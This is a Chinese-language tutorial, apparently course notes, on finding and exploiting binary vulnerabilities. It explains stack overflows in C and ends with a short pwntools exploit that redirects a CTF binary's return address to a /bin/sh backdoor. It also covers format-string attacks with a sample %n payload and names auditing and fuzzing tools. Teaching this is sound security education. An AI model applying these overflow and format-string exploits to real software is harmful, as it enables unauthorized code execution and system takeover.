Files
fzu-product/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md
2023-07-17 20:46:57 +08:00

173 lines
8.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 漏洞挖掘、漏洞利用
## 常见二进制安全漏洞
### 栈溢出
#### 栈介绍
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。
![](./static/stack.png)
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。
#### 栈溢出基本原理
以最基本的C语言为例C语言的函数局部变量就保存在栈中。
```C
#include<stdio.h>
int main()
{
char ch[8]={0};
char ch2[8]={0};
printf("ch: %p, ch2: %p",ch,ch2);
}
```
对于如上程序,运行后可以发现`ch``a`的地址相差不大(`a``ch`的顺序不一定固定为`a`在前`ch`在后)
![](./static/out1.PNG)
可以发现`ch``ch2`刚好差`8`个字节,也就是`ch`的长度。
`ch`只有`8`个字节,那么如果我们向`ch`中写入超过`8`个字节的数据呢?很显然,会从`ch`处发生溢出,写入到`ch2`的空间中,覆盖`ch2`的内容。
```C
#include<stdio.h>
int main()
{
char ch[8]={0};
char ch2[8]={0};
scanf("%s",ch);
printf("ch: %s, ch2: %s",ch,ch2);
}
```
![](./static/out2.PNG)
这就是栈溢出的基本原理。
#### 栈溢出的基本利用
##### 0x0
对于以上程序,“栈溢出”带来的后果仅仅是修改了局部变量的值,会造成一些程序的逻辑错误:
```C
#include<stdio.h>
int main()
{
char input[20];
char password[]="vidar-team";
scanf("%s",input);
if(!strcmp(password,input))
{
printf("login success!");
}
else
{
printf("password is wrong!");
}
return 0;
}
```
如上代码所示如果我们想办法通过向input中输入过长的字符串覆盖掉password的内容我们就可以实现任意password“登录”。
那么能不能有一些更劲爆的手段呢?
> 以下内容涉及x86汇编语言知识
在C语言编译之后通常会产生汇编语言汇编语言的字节码可以直接在物理CPU上运行。而C语言函数调用会被编译为如下形式
```C
#include<stdio.h>
int add(int a,int b)
{
return a+b;
}
int main()
{
int a,b;
scanf("%d %d",&a,&b);
printf("%d",add(a,b));
return 0;
}
```
```assembly
add:
endbr64
push rbp
mov rbp, rsp
mov [rbp+var_4], edi
mov [rbp+var_8], esi
mov edx, [rbp+var_4]
mov eax, [rbp+var_8]
add eax, edx
pop rbp
retn
main:
endbr64
push rbp
mov rbp, rsp
sub rsp, 10h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
lea rdx, [rbp+var_C]
lea rax, [rbp+var_10]
mov rsi, rax
lea rax, format ; "%d %d"
mov rdi, rax ; format
mov eax, 0
call _scanf
mov edx, [rbp+var_C]
mov eax, [rbp+var_10]
mov esi, edx
mov edi, eax
call add
mov esi, eax
lea rax, aD ; "%d"
mov rdi, rax ; format
mov eax, 0
call _printf
mov eax, 0
leave
retn
```
可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢?其实`call`指令相当于`push next_loc;jmp loc`,通过将`call`指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从`call`指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数:
![](./static/stack2.png)
> 注意该图中使用32位的寄存器EBP、ESP、EIP实际原理一样的并且上方为高地址下方为低地址
在此给出一道题作为例子https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
32位的程序我们使用IDA来打开该题目查看反编译代码可以发现有非常明显的栈溢出
![](./static/main.png)
由于第`8``gets`函数并没有检查输入的长度和`s`的长度,我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中,存在另外一个函数`secure`,在该函数中有一个后门`system("/bin/sh")`,如果我们想办法执行该后门,就可以拿到目标机器的`shell`,从而控制目标计算机。
由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。
首先查看后门的地址:
![](./static/backdoor.png)
接着计算溢出长度这里我们使用gdb来调试程序图中的gdb安装了pwndbg插件该插件在pwn调试时比较好用
![](./static/gdb.png)
将断点打在`gets`函数前后,可以看到此时`esp`值为`0xffffcd80``ebp`值为`0xffffce08`,在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`,此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`,即`s`相对于`ebp`的偏移为`0x6C`,由于在`main`函数的开头有`push ebp`的操作,所以将`0x6C`再加`4`,即可到达返回地址处:
```python
from pwn import *
sh=process("./pwn")
exp=b'a'*(0x6c+4)
exp+=p32(0x0804863A) # 4字节的返回地址
sh.sendline(exp)
sh.interactive() # 切换为手动交互模式
```
![](./static/shell.png)
##### 0x1
通过上面的学习我们已经可以知道执行任意函数的办法但很多情况下对于攻击者来说程序中并没有可用的后门函数来达到攻击的目的因此我们需要一种手段来让程序执行任意代码任意汇编代码这样就可以最高效地进行攻击。ROPReturn Oriented Programming面向返回编程就是这样的一种技术在栈溢出的基础上通过在程序中寻找以retn结尾的小片段gadgets来改变某些寄存器、栈变量等的值再结合Linux下的系统调用我们就可以执行需要的任意代码。
ROP网上已有非常系统的资料在这里不做过多的叙述可参考ctf-wiki: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode
### 格式化字符串
格式化字符串的利用思路来源于`printf`函数中的`%n`format标签该标签的作用和`%s``%d`等不同,是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题:
```C
printf("abcd%n",&num);
//输出abcd,并且num的值为4
```
但如果在编写代码时忘记format字符串
```
printf(something_want_print);
```
此时若攻击者可以自定义该字符串,就可以使用`%d``%p``%s`等打印栈上数据,或者`%n`来覆写栈上的数据,如果覆写了返回地址,就可以实现任意代码执行。
```C
char ch[20];
scanf("%s",ch);// 输入 %d%n%n%n%n%n
printf(ch);
```
## 漏洞挖掘技术
### 代码审计
代码审计分人工代码审计和自动化代码审计,人工审计由安全研究人员查看代码来发现漏洞,需要安全研究人员很高的研究经验,投入大量的人力。自动化代码审计目前的发展进度迅速,如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目Kunlun-Mhttps://github.com/LoRexxar/Kunlun-M
以及字节跳动公司开源的appsharkhttps://github.com/bytedance/appshark
### fuzz
fuzz是一种自动化测试手段通过一定的算法生成一定规律的随机的数据输入到程序中如果程序发生崩溃等异常即可知道此处可能有漏洞。比较著名的有[AFL](https://github.com/google/AFL)、[AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)、[libfuzzer](https://llvm.org/docs/LibFuzzer.html)、[honggfuzz](https://github.com/google/honggfuzz)等。